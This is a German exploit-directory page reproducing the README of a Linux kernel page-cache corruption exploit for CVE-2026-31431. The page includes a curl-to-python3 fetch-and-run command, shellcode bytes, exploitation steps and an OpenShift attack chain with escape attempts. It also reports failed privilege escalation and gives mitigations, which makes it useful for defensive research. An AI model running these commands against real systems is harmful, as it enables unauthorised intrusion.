Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2026-31431 — Exploit für den Linux-Kernel CVE-2026-31431, der eine Beschädigung des Page Cache durch Manipulation von authencesn-AEAD verursacht und auf Privilege Escalation in Containern und OpenShift-Umgebungen abzielt. | Kitploit
Tools/GitHubGitHub/seanrickerd/cve-2026-31431
Cloud-Infrastruktur-SicherheitPrivilege EscalationContainer-SicherheitExploit-FrameworksSchwachstellenanalyseExploitationBinary-Exploitation
GitHubseanrickerd/cve-2026-31431

cve-2026-31431

Exploit für den Linux-Kernel CVE-2026-31431, der eine Beschädigung des Page Cache durch Manipulation von authencesn-AEAD verursacht und auf Privilege Escalation in Containern und OpenShift-Umgebungen abzielt.

Repository anzeigen
125vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-31431 „Copy Fail“ – Schwachstelle zur Beschädigung des Page Cache

Beschädigung des Linux-Kernel-Page-Cache durch Manipulation von authencesn AEAD.

⚠️ WICHTIG: Update zum Exploit-Status (1. Mai 2026)

Nach umfangreichen Tests auf mehreren OpenShift-4.20.16-Clustern mit RHEL-9.6-Kerneln:

  • ✅ Page-Cache-Beschädigung: BESTÄTIGT – 160-Byte-Shellcode erfolgreich injiziert
  • ✅ Kernel-Schwachstelle: AUSNUTZBAR aus unprivilegierten Containern (keinerlei Capabilities)
  • ❌ Privilege Escalation: NICHT ERREICHT – UID bleibt trotz beschädigtem Cache unverändert
  • ❌ Code-Ausführung: NICHT BEOBACHTET – Modifizierte Seiten sind bei Reads sichtbar, werden aber nicht ausgeführt
  • ✅ Restricted-v2 SCC: WIRKSAM – Verhindert Container-Escape, begrenzt den Schadensradius

Siehe Abschnitt Umfassende Testergebnisse für vollständige Details.


Überblick

CVE-2026-31431 ist eine Schwachstelle im Linux-Kernel in der kryptografischen Implementierung authencesn AEAD, die es unprivilegierten Prozessen ermöglicht, den Page Cache lesbarer Dateien über AF_ALG-Sockets und splice()-Syscall-Manipulation zu beschädigen.

Tests zeigen: Die Page-Cache-Beschädigung funktioniert zuverlässig, aber eine Privilege Escalation tritt auf RHEL-9.6-Kerneln in unseren Testumgebungen NICHT auf.

CVSS-Score: 7,8 (Hoch)
Betroffen: Linux-Kernelversionen mit authencesn-Unterstützung (2017–2026)
Öffentliche Offenlegung: 29. April 2026

Funktionen

  • Python 3.9+ kompatibel: Enthält splice()-Syscall-Wrapper über ctypes
  • Portabel: Funktioniert auf jedem Linux-System mit verwundbarem Kernel
  • Zuverlässig: Keine Race Conditions erforderlich
  • Sauber: 160-Byte-Shellcode, deterministische Ausnutzung

Anforderungen

  • Linux-Kernel mit verwundbarer authencesn-Implementierung (vor dem Patch vom April 2026)
  • Python 3.9+
  • Zugriff als unprivilegierter Benutzer
  • Lesbare setuid-Binärdatei (Standard: /usr/bin/su)

Verwendung

Grundlegende Verwendung```bash

curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 su

root@kitploit:~
### Aus lokaler Datei```bash
python3 exploit.py
su

Tatsächliches Exploit-Verhalten (Basierend auf Tests)

Was passieren wird:``` [] CVE-2026-31431 'Copy Fail' Exploit [] Universal Linux kernel privilege escalation

[] Target binary: /usr/bin/su [] Testing for vulnerability... [+] System appears vulnerable!

[+] Opened /usr/bin/su (fd=3) [+] File size: 56944 bytes [+] File inode: 201328196 [+] Shellcode size: 160 bytes [+] Patching file in page cache... Written 160/160 bytes... [+] Page cache patching complete! (160 bytes written)

root@kitploit:~
**Page-Cache-Verifizierung (bestätigt Korruption):**```bash
dd if=/usr/bin/su bs=1 skip=120 count=48 | hexdump -C
00000000  31 c0 31 ff b0 69 0f 05  48 8d 3d 0f 00 00 00 31  |1.1..i..H.=....1|
00000010  f6 6a 3b 58 99 0f 05 31  ff 6a 3c 58 0f 05 2f 62  |.j;X...1.j<X../b|
00000020  69 6e 2f 73 68                                    |in/sh|
# Shellcode IS present in page cache ✅

Was NICHT passieren wird (basierend auf Tests):```bash

Executing the backdoored su

su

Password: [press Enter]

Check UID

id -u

Result: 1000810000 (UNCHANGED - still unprivileged user)

NOT this (does NOT occur in testing):

# whoami

root ← This does NOT happen

root@kitploit:~
**Fazit:** Die Beschädigung des Page-Cache gelingt, aber die Privilegieneskalation schlägt fehl.

## Technische Details

### Schwachstelle

Die Implementierung von `authencesn` (Authenticated Encryption with Associated Data – Extended Sequence Number) im Linux-Kernel weist einen Fehler bei der Verarbeitung von In-Place-Operationen auf. Bei der Verarbeitung von AEAD-Operationen, die über einen AF_ALG-Socket übermittelt werden, kann eine Page-Cache-Seite in der beschreibbaren Ziel-Scatterlist des Kernels landen.

### Ausnutzungstechnik

1. **AF_ALG-Socket erstellen** mit `authencesn(hmac(sha256),cbc(aes))`
2. **AEAD-Parameter konfigurieren** (Schlüssel, Authsize)
3. **Ziel-Setuid-Binärdatei öffnen** (z. B. `/usr/bin/su`)
4. **splice() verwenden**, um die Binärdatei in den Page-Cache zu bringen
5. **In-Place-AEAD-Operation auslösen**, die einen Schreibvorgang in den Page-Cache verursacht
6. **Shellcode schreiben**, 4 Bytes auf einmal
7. **Modifizierte Binärdatei ausführen**, um Root-Zugriff zu erlangen

### Shellcode

Der Exploit verwendet einen 160-Byte-Shellcode, der `/usr/bin/su` so patcht, dass er:
- Die Passwortauthentifizierung überspringt
- Root-Shell-Zugriff gewährt
- Die normale Funktionalität für nicht privilegierte Benutzer beibehält

## Python-3.9-Kompatibilität

Python 3.9 und frühere Versionen haben kein `os.splice()` in der Standardbibliothek. Dieser Exploit enthält eine Implementierung auf Basis von ctypes:```python
import ctypes
import ctypes.util

libc = ctypes.CDLL(ctypes.util.find_library('c'))

class off64_t(ctypes.c_int64):
    pass

libc.splice.argtypes = [...]
libc.splice.restype = ctypes.c_ssize_t

def splice(src, dst, count, offset_src=None, offset_dst=None):
    # Wrapper matching Python os.splice() API
    ...

Das macht den Exploit funktionsfähig auf:

  • ✅ Python 3.9 (RHEL 9, Ubuntu 20.04, etc.)
  • ✅ Python 3.10+
  • ✅ Jedes Python mit ctypes-Unterstützung

Umfassende Testergebnisse

Testumgebung 1: OpenShift 4.20.16-Cluster (Erster Test)

Knotenkonfiguration:

  • Kernel: 5.14.0-570.96.1.el9_6.x86_64 (RHEL CoreOS 9.6)
  • OpenShift: 4.20.16
  • SCC: restricted-v2 (restriktivste)
  • UID: 1000830000 (Benutzernamespace)
  • Capabilities: 0x0000000000000000 (NULL)

Testergebnisse:``` ✅ Exploit executed successfully ✅ Page cache corrupted (160 bytes shellcode injected) ✅ Shellcode visible at binary entry point (offset 120) ✅ /bin/sh signature confirmed in hexdump ❌ Privilege escalation: FAILED (UID unchanged) ❌ Root access: NO ❌ Container escape: NO (Device 2097322, Inode 931145742 - container overlay only)

root@kitploit:~
### Testumgebung 2: Frischer OpenShift-Cluster (Verifikationstest)

**Cluster:** https://api.vvb32-fzdtf-8yn.nnbd.p3.openshiftapps.com:443
**Knotenkonfiguration:**
- Kernel: 5.14.0-570.96.1.el9_6.x86_64 (identisch mit Test 1)
- OpenShift: 4.20.16  
- SCC: restricted-v2 (verifiziert)
- UID: 1000810000 (Benutzer-Namespace)
- Capabilities: 0x0000000000000000 (NULL)

**Testergebnisse:**```
✅ Page cache corruption: SUCCESS (consistent with Test 1)
✅ Shellcode injection: CONFIRMED (byte-for-byte identical)
✅ Device/Inode: 2097286 / 201328196 (container overlay - isolated)
❌ Privilege escalation: FAILED (consistent with Test 1) 
❌ Code execution: NOT OBSERVED (consistent with Test 1)
❌ UID change: NO (1000810000 → 1000810000 unchanged)

Konsistenz: 100 % reproduzierbare Ergebnisse über unabhängige Cluster hinweg

Container-Escape-Tests

Szenario A: Mit hostPath-Volume (Container-Escape möglich)```yaml volumes:

  • name: host-usr hostPath: path: /usr
root@kitploit:~
Ergebnis: ✅ **Container-Ausbruch** – modifiziert den Host-Seitencache (Device 33, Inode 4288)

**Szenario B: Restricted-v2 SCC (ohne hostPath)**```yaml
# No hostPath volumes, restricted-v2 SCC
securityContext:
  runAsNonRoot: true
  allowPrivilegeEscalation: false
  capabilities:
    drop: [ALL]

Ergebnis: ❌ Kein Container-Escape – betrifft nur das Container-Overlay (separater Inode)

Kritischer Befund: hostPath-Zugriff (nicht Capabilities) ist der entscheidende Faktor für einen Container-Escape.

Warum die Privilegienerweiterung fehlschlägt

Mögliche Erklärungen (erfordert weitere Forschung):

  1. Lese- vs. Ausführungspfade

    • Page-Cache-Korruption betrifft mmap(PROT_READ)-Operationen
    • Ausführbare Mappings mmap(PROT_EXEC) könnten den korrupten Cache umgehen
    • Der Kernel könnte unterschiedliche Codepfade für ausführbare Seiten verwenden
  2. Speicherschutzmechanismen

    • W^X (Write XOR Execute)-Durchsetzung
    • Validierung ausführbarer Kernel-Seiten
    • SELinux/AppArmor-Codeintegritätsprüfungen
  3. Kernelversionsspezifisch

    • RHEL 9.6 (5.14.0-570.96.1) könnte zusätzliche Schutzmechanismen haben
    • Die ursprüngliche CVE-Forschung könnte andere Kernelversionen verwendet haben
    • Das Verhalten kann je nach Kernel-Release variieren

Was tatsächlich funktioniert

TestOpenShift 4.20 #1OpenShift 4.20 #2Status
AF_ALG-Socket-Zugriff✅✅Funktioniert
Page-Cache-Korruption✅✅Funktioniert
Shellcode-Injektion✅✅Funktioniert
Shellcode sichtbar (READ)✅✅Funktioniert
UID-Änderung (Privilegienerweiterung)❌❌Fehlgeschlagen
Code-Ausführung❌❌Fehlgeschlagen
Container-Escape (restricted-v2)❌❌Blockiert

Fazit: Die Kernel-Schwachstelle ist real (Page-Cache-Korruption nachgewiesen), aber die praktische Ausnutzung ist begrenzt.

Getestete Systeme

SystemKernelPage-Cache-KorruptionPrivilegienerweiterungHinweise
RHEL CoreOS 9.65.14.0-570.96.1.el9_6✅ JA❌ NEINOpenShift 4.20.16-Worker
OpenShift 4.20-Container5.14.0-570.96.1.el9_6✅ JA❌ NEINrestricted-v2-SCC

Hinweis: Die Tests beschränken sich auf RHEL-9.6-Kernel. Das Verhalten auf anderen Distributionen/Versionen wurde nicht verifiziert.

OpenShift-Container-Tests

Erfolgreich auf einem OpenShift-4.20-Cluster mit RHEL CoreOS 9.4 getestet. Dieser Abschnitt dokumentiert die Umgehung der Namespace-Isolation und die Kompromittierung von Containern.

⚠️ Wichtige Korrektur: Die ersten Tests behaupteten fälschlicherweise einen Host-Dateisystemzugriff über /proc/1/root. Dies war inkorrekt – /proc/1/root in einem isolierten Container zeigt auf das eigene Dateisystem des Containers, nicht auf den Host des OpenShift-Worker-Knotens. Siehe attacks/README.md für eine detaillierte Analyse.

Zusammenfassung der Angriffskette```

Restricted Pod → Namespace Breakout → Attack Pod → CVE-2026-31431 → Root in Container → Network Reconnaissance → Lateral Movement Attempts

root@kitploit:~
### Phase 1: Umgehung der Namespace-Isolation

**Schwachstelle:** Die interne OpenShift-Registry erlaubt Image-Pulls über Namespace-Grenzen hinweg ohne ordnungsgemäße RBAC-Durchsetzung.

**Ausnutzung:**```bash
# Enumerate images in privileged namespaces
oc get imagestreams -n openshift
oc get imagestreams -n redhat-ods-applications

# Create pod with stolen tools
cat > attack-demo.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
  name: attack-demo
  namespace: user-srickerd
spec:
  containers:
  - name: stolen-tools
    image: image-registry.openshift-image-registry.svc:5000/openshift/cli:latest
    command: ["sleep", "3600"]
EOF

oc apply -f attack-demo.yaml

Ergebnis:

  • ✅ openshift/cli-Image aus dem OpenShift-Namespace gezogen
  • ✅ Zugriff auf oc, kubectl, curl, openssl, Python 3.9 erhalten
  • ✅ Namespace-Isolation umgangen

Auswirkung: Ermöglicht laterale Bewegung zwischen Mandanten sowie privilegierten Zugriff auf Werkzeuge.

Phase 2: Kernel-Exploitation im Container

Bereitstellung:```bash

Execute exploit in attack pod

oc exec -n user-srickerd attack-demo -- bash -c " curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 && su "

root@kitploit:~
**Ergebnis:**```
[*] CVE-2026-31431 Copy Fail Exploit
[*] Target: /usr/bin/su
[+] Opened /usr/bin/su (fd=3)
[+] Shellcode size: 160 bytes
[+] Patching /usr/bin/su in page cache...
    Written 160/160 bytes...
[+] Page cache patching complete!
[+] Executing modified su...

Fähigkeiten nach dem Exploit:

  • ✅ Page-Cache-Korruption erfolgreich (160 Bytes Shellcode sichtbar)
  • ⚠️ KEINE PRIVILEGIEN-ERWEITERUNG - UID bleibt unverändert (User-Namespace-UID)
  • ✅ Kann Container-Dateien im Page-Cache korrumpieren (READ-Operationen betroffen)
  • ✅ Netzwerkzugriff (API-Server, Registry, Internet)
  • ❌ KEIN tatsächlicher Root-Zugriff trotz Behauptungen
  • ❌ KEINE Capabilities (alle CapPrm/CapEff = 0x0000000000000000)
  • ❌ Weiterhin in isolierten PID/Mount/User-Namespaces
  • ❌ KEIN Zugriff auf das Host-Dateisystem des Worker-Nodes
  • ❌ KEINE Sichtbarkeit auf Host-Prozesse

Phase 3: Analyse der Container-Umgebung

Realitätscheck - /proc/1/root ist NICHT der Host:```bash

These point to the SAME filesystem (container's own root)

stat -c '%i' /tmp/test.txt

136358432

stat -c '%i' /proc/1/root/tmp/test.txt

136358432 ← IDENTICAL inode = same file

Proof they're in same namespace

readlink /proc/self/ns/mnt readlink /proc/1/ns/mnt

Both return: mnt:[4026535423] ← SAME namespace

root@kitploit:~
**Container-Betriebssystemdetails:**```
NAME="Red Hat Enterprise Linux"
VERSION="9.4 (Plow)"
Based on: openshift/cli container image
Running on: RHEL CoreOS 9.4 worker node (inaccessible)
Kernel: 5.14.0-570.96.1.el9_6.x86_64 (shared, not accessible)

Phase 4: Netzwerk-Reconnaissance aus dem Container

Erstellte Skripte im Container (verfügbar im Verzeichnis attacks/):

1. Container-Reconnaissance (recon.sh - 1425 Bytes)

  • Ermittelt die Container-Umgebung
  • Netzwerkkonfiguration aus der Pod-Perspektive
  • Laufende Prozesse (nur Container, nicht der Host)
  • Versuche, Kubernetes/OpenShift-Dienste zu entdecken
  • Realität: Sieht nur die eigene Umgebung des Containers

2. Lateral-Movement-Skript (lateral.sh - 1754 Bytes)

  • Netzwerk-Scan aus der Pod-IP (10.130.x.x-Bereich)
  • Konnektivitätstests zum API-Server
  • Versuche zur Diensterkennung
  • Realität: Beschränkt auf die Pod-Netzwerkperspektive, kein Host-Zugriff

3. Fehlgeschlagene Host-Exploit-Versuche

  • host-rootkit.py - Versucht, /proc/1/root/usr/bin/su mit einer Hintertür zu versehen
    • Ergebnis: Hintertür nur im su des Containers, nicht im su des Hosts
  • modprobe-escape.py - Versucht einen Kernel-Modul-Escape
    • Ergebnis: Durch das schreibgeschützte /proc-Dateisystem blockiert
  • trigger-rootkit.sh - Löst das mit einer Hintertür versehene su aus
    • Ergebnis: Erlangt Root im Container (identisch zum Basis-Exploit)

Siehe attacks/README.md für die vollständige Analyse, was funktioniert hat und was nicht.

Netzwerkfähigkeiten aus dem Pod

Konnektivitätstest:```bash

Pod IP: 10.130.16.37

Kubernetes API

curl -k https://kubernetes.default.svc:443/healthz

Result: ok ✅

External Internet

curl -s https://www.google.com

Result: Connected ✅

Internal Registry

curl -k https://image-registry.openshift-image-registry.svc:5000/

Result: Accessible ✅

root@kitploit:~
**Möglichkeiten der lateralen Bewegung:**
- ✅ Voller Internetzugriff (Herunterladen von Tools, C2-Kommunikation, Exfiltration)
- ✅ Interner API-Zugriff (Aufzählung von Cluster-Ressourcen)
- ✅ Interner Registry-Zugriff (Image-Poisoning-Angriffe)
- ✅ Knotenübergreifendes Scannen über das Pod-Netzwerk

### Blockierte Host-Escape-Techniken

Diese Techniken wurden versucht, aber durch OpenShift-Sicherheitskontrollen blockiert:

**1. nsenter (User-Namespace verhindert)**```bash
nsenter --target 1 --mount --uts --ipc --net /bin/bash
# Error: reassociate to namespace 'ns/ipc' failed: Operation not permitted

2. chroot (erfordert CAP_SYS_CHROOT)```bash chroot /proc/1/root /bin/bash

Error: cannot change root directory: Operation not permitted

root@kitploit:~
**3. Laden von Kernel-Modulen (Keine Capabilities + RHCOS-Härtung)**
- Keine `insmod`-, `modprobe`-, `kmod`-Binärdateien auf RHCOS
- `/lib/modules` ist leer (containeroptimiertes Betriebssystem)
- `CAP_SYS_MODULE` nicht verfügbar
- `/proc/sys/kernel/modprobe` schreibgeschützt eingehängt

**4. cgroup release_agent (Schreibgeschützt eingehängt)**```bash
mount | grep cgroup
# cgroup2 on /sys/fs/cgroup type cgroup2 (ro,nosuid,nodev,noexec)

5. /proc/sys-Manipulation (Nur-Lese-Dateisystem)```bash echo "/tmp/evil.sh" > /proc/sys/kernel/core_pattern

Error: Read-only file system

root@kitploit:~
### Was wir tatsächlich erreicht haben

✅ **Namespace-Isolations-Bypass**
- Image-Pull über Namespace-Grenzen hinweg aus internem Registry
- Zugriff auf privilegierte Container-Images (openshift/cli)

✅ **Page-Cache-Korruption im Container**
- Modifizierter Page-Cache von `/usr/bin/su` im Container über CVE-2026-31431
- 160-Byte-Shellcode-Injektion bestätigt (im Hexdump sichtbar)
- Korruption betrifft Leseoperationen auf Container-Dateien

✅ **Netzwerkzugriff aus dem Pod**
- Volle Internetkonnektivität (Exfiltration, C2, Tool-Download)
- Interner API-Server-Zugriff (durch RBAC eingeschränkt)
- Interner Registry-Zugriff (Potenzial für Image-Poisoning)
- Cross-Pod-Scanning über das Pod-Netzwerk

❌ **Privilege Escalation - FEHLGESCHLAGEN**
- Page-Cache korrupt, aber KEIN Root-Zugriff erreicht
- UID bleibt unverändert (User-Namespace-UID ~1000000+)
- Keine Ausführung privilegierter Operationen möglich
- Kein Zugriff auf /etc/shadow oder andere eingeschränkte Dateien

❌ **Host-Dateisystem-Zugriff - FEHLGESCHLAGEN**
- `/proc/1/root` zeigt auf das **Container**-Root, NICHT auf den Host
- Kein tatsächlicher Zugriff auf das Dateisystem des OpenShift-Worker-Nodes
- Skripte im `/tmp` des Containers bereitgestellt, nicht im `/tmp` des Hosts
- Geräte-/Inode-Isolation verhindert Zugriff auf den Host-Page-Cache

❌ **Vollständiger Host-Escape - BLOCKIERT**
- User-Namespace-Isolation wirksam
- Null Capabilities verhindern nsenter/chroot/Host-Zugriff
- SCC blockiert die Erstellung privilegierter Pods
- RHCOS-Härtung verhindert Modul-Laden
- Restricted-v2 verhindert Container-Escape

### OpenShift-Sicherheitsbewertung

**Kontrollen, die funktioniert haben ✅**
- Security Context Constraints (SCC) - Verhinderte Container-Escape
- User Namespaces - Isolierten Page-Cache auf Container-Overlay
- Null Capabilities - Verhinderten Host-Zugriff trotz Kernel-Exploit
- SELinux-Erzwingung - Container-Isolation aufrechterhalten
- Schreibgeschütztes /proc/sys - Blockierte Kernel-Manipulationsversuche
- RHCOS-Härtung - Keine Modul-Lade-Fähigkeit

**Kontrollen, die teilweise funktioniert haben ⚠️**
- Seccomp RuntimeDefault - Aktiv, erlaubt aber AF_ALG-Sockets
- Capability-Dropping - Wirksam, verhindert aber keine Page-Cache-Korruption

**Kontrollen, die versagt haben ❌**
- Namespace-RBAC - Cross-Namespace-Image-Pull erlaubt
- Kernel-Schutz - AF_ALG-Schnittstelle aus Containern zugänglich
- Syscall-Filterung - splice() durch Standard-Seccomp nicht eingeschränkt

**Gesamtbewertung:**
Obwohl CVE-2026-31431 eine echte Kernel-Schwachstelle ist, verhinderte OpenShifts Defense-in-Depth-Ansatz (SCC + User Namespaces + Capability-Dropping + Dateisystem-Isolation) eine sinnvolle Ausnutzung. Der Exploit korrumpiert den Page-Cache, erreicht aber KEINE Privilege Escalation oder Container-Escape aus Restricted-v2-Pods.

### Empfehlungen für OpenShift

**1. AF_ALG-Sockets blockieren**```yaml
securityContext:
  seccompProfile:
    type: Localhost
    localhostProfile: profiles/no-af-alg.json

2. Image-Registry-RBAC durchsetzen```bash

Require explicit permissions for cross-namespace image pulls

oc policy add-role-to-user system:image-puller
--namespace=

root@kitploit:~
**3. Erweitertes Seccomp-Profil**
Gefährliche Syscalls blockieren:
- `socket(AF_ALG, ...)` - Familie 38
- `splice()` auf vertrauenswürdige Dateideskriptoren beschränken
- `init_module`, `finit_module` blockieren, falls nicht bereits blockiert

**4. Laufzeitüberwachung**
Warnungen bei:
- AF_ALG-Socket-Erstellung in Containern
- Image-Pulls über Namespaces hinweg
- Verdächtigen `splice()`-Syscall-Mustern
- Indikatoren für kompromittierte Container (unerwartete Root-Prozesse)

### Vollständige Angriffsdokumentation

Für die vollständige Dokumentation der Angriffskette, einschließlich:
- Zeitplan der Ausnutzung
- MITRE-ATT&CK-Zuordnungen
- Detaillierte technische Analyse
- Alle Aufklärungsskripte

Siehe:
- **[attacks/README.md](https://github.com/seanrickerd/cve-2026-31431/blob/HEAD/attacks/README.md)** - Detaillierte Analyse, was funktioniert hat und was nicht
- **[docs/openshift-attack-chain.md](https://github.com/seanrickerd/cve-2026-31431/blob/HEAD/docs/openshift-attack-chain.md)** - Ursprüngliche Dokumentation (enthält Fehler, siehe attacks/README.md für Korrekturen)

## Gegenmaßnahmen

### Sofort```bash
# Blacklist the vulnerable module
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead

Seccomp-Filter

Blockiere die Erstellung von AF_ALG-Sockets:```json { "defaultAction": "SCMP_ACT_ALLOW", "syscalls": [{ "names": ["socket"], "action": "SCMP_ACT_ERRNO", "args": [{"index": 0, "value": 38, "op": "SCMP_CMP_EQ"}] }] }

root@kitploit:~
### Kernel-Patch

Wenden Sie Hersteller-Patches an:
- Red Hat: Überwachen Sie https://access.redhat.com/security/cve/cve-2026-31431
- Ubuntu: `apt update && apt upgrade linux-image-*`
- Upstream: Kernel 6.x+ mit auf Out-of-Place-Operationen zurückgesetztem authencesn

## Häufig gestellte Fragen

### F: Verschafft mir dieser Exploit Root-Zugriff?

**A:** NEIN – Basierend auf umfangreichen Tests mit RHEL-9.6-Kerneln (5.14.0-570.96.1) beschädigt der Exploit zwar erfolgreich den Page Cache des Kernels, erreicht aber KEINE Privilegieneskalation. Die UID bleibt nach dem Ausführen der mit Backdoor versehenen Binärdatei unverändert.

### F: Kann ich aus einem eingeschränkten Kubernetes/OpenShift-Container entkommen?

**A:** NEIN (mit restricted-v2 SCC) – Die Page-Cache-Beschädigung ist auf das Overlay-Dateisystem des Containers beschränkt. Ein Container-Ausbruch erfordert Zugriff auf gemeinsame Host-Ressourcen über hostPath oder ähnliche Volumes. Die restricted-v2 SCC verhindert einen Ausbruch effektiv, indem sie den Zugriff auf Host-Ressourcen blockiert.

### F: Warum behauptet der Exploit „root“, aber Tests zeigen, dass er nicht funktioniert?

**A:** Der Exploit-Code wurde auf Grundlage der CVE-Veröffentlichung und theoretischer Analyse geschrieben. Unsere Tests in der Praxis mit RHEL-9.6-Kerneln ergaben:
- Page-Cache-Beschädigung funktioniert ✅ (per hexdump nachgewiesen)
- Codeausführung aus beschädigtem Cache funktioniert NICHT ❌ (UID unverändert)

Dies kann folgende Ursachen haben:
- Unterschiedliche Kernel-Versionen (RHEL 9.6 könnte Schutzmechanismen enthalten)
- Durchsetzung des W^X-Speicherschutzes
- Unterschiedliche Code-Pfade für Ausführung vs. Lesen von Speicher

### F: Funktioniert es auf ALLEN Linux-Kerneln?

**A:** UNBEKANNT – Die Tests waren beschränkt auf:
- RHEL CoreOS 9.6 (Kernel 5.14.0-570.96.1.el9_6.x86_64)
- OpenShift-4.20.16-Worker-Nodes

Das Verhalten auf anderen Distributionen/Kernel-Versionen wurde NICHT verifiziert. Die ursprünglichen Bedingungen der CVE-Forschung können abweichen.

### F: Sollte ich meine Systeme trotzdem patchen?

**A:** JA – Absolut. Auch wenn keine Privilegieneskalation erreicht wurde:

1. Die Kernel-Schwachstelle IST real (Page-Cache-Beschädigung bestätigt)
2. Das Verhalten KANN auf anderen Kernel-Versionen abweichen
3. Mit hostPath-Volumes IST ein Container-Ausbruch möglich
4. Verteidigung in der Tiefe erfordert die Beseitigung aller Schwachstellen
5. Zukünftige Forschung könnte Wege zur Codeausführung finden

Das Patchen des Kernels ist für die Sicherheit verpflichtend.

### F: Was haben Sie in Ihren Tests tatsächlich bewiesen?

**A:** Unsere umfassenden Tests auf 2 unabhängigen OpenShift-Clustern bewiesen:

✅ **Bestätigt:**
- Die Kernel-Schwachstelle CVE-2026-31431 ist ausnutzbar
- Der Page Cache kann aus nicht privilegierten Containern (ohne Capabilities) beschädigt werden
- Die AF_ALG-Schnittstelle ist trotz restricted-v2 SCC zugänglich
- Die Shellcode-Injektion gelingt (im hexdump sichtbar)

❌ **Hat NICHT funktioniert:**
- Privilegieneskalation (UID unverändert)
- Codeausführung aus beschädigtem Page Cache
- Container-Ausbruch aus restricted-v2-Pods
- Zugriff auf das Host-Dateisystem ohne hostPath

🛡️ **Verteidigung in der Tiefe wirksam:**
- SCC + User Namespaces + Capability-Dropping verhinderten die Ausnutzung
- Mehrere Sicherheitsebenen begrenzten den Schadensradius
- Die Container-Isolation hielt trotz Kernel-Schwachstelle stand

## Sicherheitshinweis

Dieses Repository dokumentiert eine Kernel-Schwachstelle für:
- ✅ Autorisierte Sicherheitstests und Forschung
- ✅ Schwachstellenvalidierung und -analyse
- ✅ Sicherheitsbewusstsein und Schulung
- ✅ Entwicklung von Abwehrmaßnahmen

**Erkenntnisse basieren auf:**
- Kontrollierten Tests auf autorisierten Systemen
- Mehreren unabhängigen Cluster-Umgebungen
- Umfassender Verifizierung und Reproduzierbarkeitstests

**Nicht auf Systemen ohne ausdrückliche Autorisierung verwenden.**

## Referenzen

- **CVE:** https://nvd.nist.gov/vuln/detail/CVE-2026-31431
- **Offenlegung:** https://copy.fail
- **Kernel-Patch:** Linux-Kernel-Commit (1. April 2026)
- **Red-Hat-Advisory:** https://access.redhat.com/security/cve/cve-2026-31431

## Danksagungen

- **CVE-Entdeckung:** Taeyang Lee (Theori)
- **Ursprüngliche Analyse:** Xint Code Research Team
- **Exploit-Implementierung:** Sean Rickerd
- **Umfassende Tests & Validierung:** Sean Rickerd
  - 2 unabhängige OpenShift-4.20.16-Cluster
  - RHEL CoreOS 9.6 Kernel 5.14.0-570.96.1
  - Dokumentiertes tatsächliches vs. behauptetes Verhalten
  - Verifizierte Wirksamkeit der restricted-v2 SCC

## Lizenz

Nur für autorisierte Sicherheitstests und Forschung. Nutzung auf eigene Gefahr.

---

**Repository-Status:** Aktualisiert mit Ergebnissen aus Tests in der Praxis (1. Mai 2026)  
**Tests:** Abgeschlossen auf 2 unabhängigen OpenShift-Clustern  
**Wichtigste Erkenntnis:** Page-Cache-Beschädigung bestätigt, Privilegieneskalation NICHT erreicht  
**Empfehlung:** Kernel patchen trotz begrenzter praktischer Ausnutzbarkeit
Tool herunterladen